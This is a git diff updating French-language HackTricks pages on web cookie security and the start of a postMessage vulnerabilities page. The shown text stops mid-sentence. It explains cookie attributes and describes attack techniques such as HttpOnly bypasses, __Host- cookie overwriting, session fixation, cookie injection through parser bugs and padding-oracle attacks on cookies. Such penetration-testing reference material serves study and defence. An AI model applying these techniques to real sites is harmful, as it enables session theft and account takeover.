* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,31 +15,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
## Cookie Attributes
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs dans une voix plus passive :
|
||||||
|
|
||||||
***
|
### Expires et Max-Age
|
||||||
|
|
||||||
## Attributs des Cookies
|
La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. À l'inverse, l'attribut `Max-age` définit le temps en secondes jusqu'à ce qu'un cookie soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
|
||||||
|
|
||||||
Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs dans un style plus passif :
|
### Domain
|
||||||
|
|
||||||
### Expire et Max-Age
|
|
||||||
|
|
||||||
La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. En revanche, l'attribut `Max-age` définit le temps en secondes jusqu'à ce qu'un cookie soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
|
|
||||||
|
|
||||||
### Domaine
|
|
||||||
|
|
||||||
Les hôtes qui reçoivent un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` une option moins restrictive, utile dans les scénarios où le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir `Domain=mozilla.org` rend les cookies accessibles sur ses sous-domaines comme `developer.mozilla.org`.
|
Les hôtes qui reçoivent un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` une option moins restrictive, utile dans les scénarios où le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir `Domain=mozilla.org` rend les cookies accessibles sur ses sous-domaines comme `developer.mozilla.org`.
|
||||||
|
|
||||||
### Chemin
|
### Path
|
||||||
|
|
||||||
Un chemin URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé est indiqué par l'attribut `Path`. Cet attribut considère le caractère `/` comme un séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
|
Un chemin d'URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé est indiqué par l'attribut `Path`. Cet attribut considère le caractère `/` comme un séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
|
||||||
|
|
||||||
### Règles de Commande
|
### Ordering Rules
|
||||||
|
|
||||||
Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé sur :
|
Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé sur :
|
||||||
|
|
||||||
|
@ -55,47 +48,47 @@ Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé s
|
||||||
|
|
||||||
N'oubliez pas, lors de la configuration des cookies, que comprendre ces attributs peut aider à garantir qu'ils se comportent comme prévu dans différents scénarios.
|
N'oubliez pas, lors de la configuration des cookies, que comprendre ces attributs peut aider à garantir qu'ils se comportent comme prévu dans différents scénarios.
|
||||||
|
|
||||||
| **Type de Requête** | **Code Exemple** | **Cookies Envoyés Quand** |
|
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||||
| ------------------- | ---------------------------------- | ------------------------- |
|
| ---------------- | ---------------------------------- | --------------------- |
|
||||||
| Lien | \<a href="...">\</a> | NotSet\*, Lax, None |
|
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||||
| Formulaire GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||||
| Formulaire POST | \<form method="POST" action="..."> | NotSet\*, None |
|
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||||
| AJAX | $.get("...") | NotSet\*, None |
|
| AJAX | $.get("...") | NotSet\*, None |
|
||||||
| Image | \<img src="..."> | NetSet\*, None |
|
| Image | \<img src="..."> | NetSet\*, None |
|
||||||
|
|
||||||
Tableau provenant de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) et légèrement modifié.\
|
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||||
Un cookie avec l'attribut _**SameSite**_ **atténuera les attaques CSRF** où une session connectée est nécessaire.
|
Un cookie avec l'attribut _**SameSite**_ **atténuera les attaques CSRF** où une session connectée est nécessaire.
|
||||||
|
|
||||||
**\*Notez qu'à partir de Chrome80 (février 2019), le comportement par défaut d'un cookie sans attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Notez qu'à partir de Chrome80 (février 2019), le comportement par défaut d'un cookie sans attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Notez qu'après avoir appliqué ce changement, les **cookies sans politique SameSite** **dans Chrome seront** **traités comme None** pendant les **premières 2 minutes, puis comme Lax pour les requêtes POST inter-domaines de niveau supérieur.**
|
Notez qu'après avoir appliqué ce changement, les **cookies sans politique SameSite** dans Chrome seront **traités comme None** pendant les **2 premières minutes, puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
|
||||||
|
|
||||||
## Drapeaux des Cookies
|
## Cookies Flags
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
Cela empêche le **client** d'accéder au cookie (via **Javascript**, par exemple : `document.cookie`)
|
Cela empêche le **client** d'accéder au cookie (via **Javascript**, par exemple : `document.cookie`)
|
||||||
|
|
||||||
#### **Contournements**
|
#### **Bypasses**
|
||||||
|
|
||||||
* Si la page **envoie les cookies en réponse** à des requêtes (par exemple dans une page **PHPinfo**), il est possible d'abuser de l'XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (voir un exemple sur [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
* Si la page **envoie les cookies en réponse** à des requêtes (par exemple dans une page **PHPinfo**), il est possible d'abuser de l'XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (voir un exemple sur [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||||
* Cela pourrait être contourné avec des requêtes **TRACE** **HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Cross-Site Tracking**.
|
* Cela pourrait être contourné avec des requêtes **TRACE** **HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Cross-Site Tracking**.
|
||||||
* Cette technique est évitée par **les navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
* Cette technique est évitée par **les navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||||
* Une autre méthode est l'exploitation de vulnérabilités zero-day des navigateurs.
|
* Une autre façon est l'exploitation de vulnérabilités zero-day des navigateurs.
|
||||||
* Il est possible de **surcharger les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
|
* Il est possible de **surcharger les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
|
||||||
|
|
||||||
{% content-ref url="cookie-jar-overflow.md" %}
|
{% content-ref url="cookie-jar-overflow.md" %}
|
||||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* Il est possible d'utiliser l'attaque [**Cookie Smuggling**](./#cookie-smuggling) pour exfiltrer ces cookies.
|
* Il est possible d'utiliser l'attaque [**Cookie Smuggling**](./#cookie-smuggling) pour exfiltrer ces cookies
|
||||||
|
|
||||||
### Secure
|
### Secure
|
||||||
|
|
||||||
La requête **n'enverra** le cookie que dans une requête HTTP si la requête est transmise par un canal sécurisé (typiquement **HTTPS**).
|
La requête **n'enverra** le cookie que dans une requête HTTP si la requête est transmise par un canal sécurisé (typiquement **HTTPS**).
|
||||||
|
|
||||||
## Préfixes des Cookies
|
## Cookies Prefixes
|
||||||
|
|
||||||
Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` des pages sécurisées par HTTPS.
|
Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` des pages sécurisées par HTTPS.
|
||||||
|
|
||||||
|
@ -106,11 +99,11 @@ Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être re
|
||||||
* Ils sont interdits de spécifier un domaine, empêchant leur transmission aux sous-domaines.
|
* Ils sont interdits de spécifier un domaine, empêchant leur transmission aux sous-domaines.
|
||||||
* Le chemin pour ces cookies doit être défini sur `/`.
|
* Le chemin pour ces cookies doit être défini sur `/`.
|
||||||
|
|
||||||
Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés à des superdomaines ou sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, utiliser le préfixe `__Host-` pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolement.
|
Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés à des superdomaines ou sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, utiliser le préfixe `__Host-` pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolation.
|
||||||
|
|
||||||
### Surcharger les cookies
|
### Overwriting cookies
|
||||||
|
|
||||||
Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement depuis des sous-domaines. Prévenir par exemple [**les attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)), il est présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant le parseur, par exemple, en ajoutant "=" au début ou à la fin... :
|
Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement depuis des sous-domaines. Prévenir par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)), il est présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant le parseur, par exemple, en ajoutant "=" au début ou à la fin... :
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -118,21 +111,21 @@ Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du no
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Attaques par Cookies
|
## Cookies Attacks
|
||||||
|
|
||||||
Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtout si vous participez à un CTF), car il pourrait être vulnérable.
|
Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtout si vous participez à un CTF), car il pourrait être vulnérable.
|
||||||
|
|
||||||
### Décodage et Manipulation des Cookies
|
### Decoding and Manipulating Cookies
|
||||||
|
|
||||||
Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et d'usurper d'autres utilisateurs en réencodant leurs données modifiées dans le cookie.
|
Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et d'usurper d'autres utilisateurs en réencodant leurs données modifiées dans le cookie.
|
||||||
|
|
||||||
### Détournement de Session
|
### Session Hijacking
|
||||||
|
|
||||||
Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'utilisateur légitime.
|
Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'utilisateur légitime.
|
||||||
|
|
||||||
### Fixation de Session
|
### Session Fixation
|
||||||
|
|
||||||
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'attribue pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
|
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'attribue pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie d'origine, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
|
||||||
|
|
||||||
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
|
||||||
|
|
||||||
|
@ -140,7 +133,7 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Don de Session
|
### Session Donation
|
||||||
|
|
||||||
Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant qu'elle est connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
|
Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant qu'elle est connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
|
||||||
|
|
||||||
|
@ -150,7 +143,7 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
|
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||||
|
|
||||||
Cliquez sur le lien précédent pour accéder à une page expliquant les défauts possibles dans JWT.
|
Cliquez sur le lien précédent pour accéder à une page expliquant les défauts possibles dans JWT.
|
||||||
|
|
||||||
|
@ -160,7 +153,7 @@ Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présent
|
||||||
|
|
||||||
Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web dans laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.
|
Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web dans laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.
|
||||||
|
|
||||||
### Cookies Vides
|
### Empty Cookies
|
||||||
|
|
||||||
(Vérifiez plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré par JavaScript comme suit :
|
(Vérifiez plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré par JavaScript comme suit :
|
||||||
```js
|
```js
|
||||||
|
@ -194,11 +187,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### Vulnérabilités d'injection de cookies
|
#### Vulnérabilités d'injection de cookies
|
||||||
|
|
||||||
(Voir plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope, et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour des attaques par injection de cookies. Ces serveurs ne parviennent pas à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
(Voir plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Le parsing incorrect des cookies par les serveurs, notamment Undertow, Zope, et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour des attaques par injection de cookies. Ces serveurs ne parviennent pas à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
||||||
|
|
||||||
* Undertow s'attend à un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
* Undertow s'attend à un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
||||||
* Zope recherche une virgule pour commencer à analyser le cookie suivant.
|
* Zope recherche une virgule pour commencer à parser le cookie suivant.
|
||||||
* Les classes de cookies de Python commencent à analyser sur un caractère d'espace.
|
* Les classes de cookies de Python commencent à parser sur un caractère d'espace.
|
||||||
|
|
||||||
Cette vulnérabilité est particulièrement dangereuse dans les applications web s'appuyant sur une protection CSRF basée sur des cookies, car elle permet aux attaquants d'injecter des cookies de token CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est aggravé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Cela soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque des cookies sont transmis à des serveurs back-end susceptibles de falsification.
|
Cette vulnérabilité est particulièrement dangereuse dans les applications web s'appuyant sur une protection CSRF basée sur des cookies, car elle permet aux attaquants d'injecter des cookies de token CSRF falsifiés, contournant potentiellement les mesures de sécurité. Le problème est aggravé par la gestion des noms de cookies en double par Python, où la dernière occurrence remplace les précédentes. Cela soulève également des préoccupations pour les cookies `__Secure-` et `__Host-` dans des contextes non sécurisés et pourrait entraîner des contournements d'autorisation lorsque des cookies sont transmis à des serveurs back-end susceptibles de falsification.
|
||||||
|
|
||||||
|
@ -219,7 +212,7 @@ Cette vulnérabilité est particulièrement dangereuse dans les applications web
|
||||||
Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez :
|
Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez :
|
||||||
|
|
||||||
* Essayer de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayer de **deviner** comment l'algorithme fonctionne.
|
* Essayer de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayer de **deviner** comment l'algorithme fonctionne.
|
||||||
* Essayer de **bruteforcer le nom d'utilisateur**. Si le cookie est enregistré uniquement comme méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous allez essayer sera celui appartenant à "**admin**".
|
* Essayer de **bruteforcer le nom d'utilisateur**. Si le cookie est uniquement enregistré comme méthode d'authentification pour votre nom d'utilisateur, alors vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous allez essayer sera celui appartenant à "**admin**".
|
||||||
* Essayer **Padding** **Oracle** (vous pouvez déchiffrer le contenu du cookie). Utilisez **padbuster**.
|
* Essayer **Padding** **Oracle** (vous pouvez déchiffrer le contenu du cookie). Utilisez **padbuster**.
|
||||||
|
|
||||||
**Padding Oracle - Exemples de Padbuster**
|
**Padding Oracle - Exemples de Padbuster**
|
||||||
|
@ -270,11 +263,6 @@ Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Donc, sachant c
|
||||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -285,8 +273,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -3,35 +3,22 @@
|
||||||
## PostMessage Vulnerabilities
|
## PostMessage Vulnerabilities
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Envoyer **PostMessage**
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Send **PostMessage**
|
|
||||||
|
|
||||||
**PostMessage** utilise la fonction suivante pour envoyer un message :
|
**PostMessage** utilise la fonction suivante pour envoyer un message :
|
||||||
```bash
|
```bash
|
||||||
|
@ -65,7 +52,7 @@ Si le **joker** est utilisé, **les messages peuvent être envoyés à n'importe
|
||||||
|
|
||||||
### Attaquer iframe & joker dans **targetOrigin**
|
### Attaquer iframe & joker dans **targetOrigin**
|
||||||
|
|
||||||
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous trouvez une page qui peut être **iframée** (pas de protection `X-Frame-Header`) et qui **envoie des messages sensibles** via **postMessage** en utilisant un **joker** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuiter** le **message sensible** vers un domaine contrôlé par vous.\
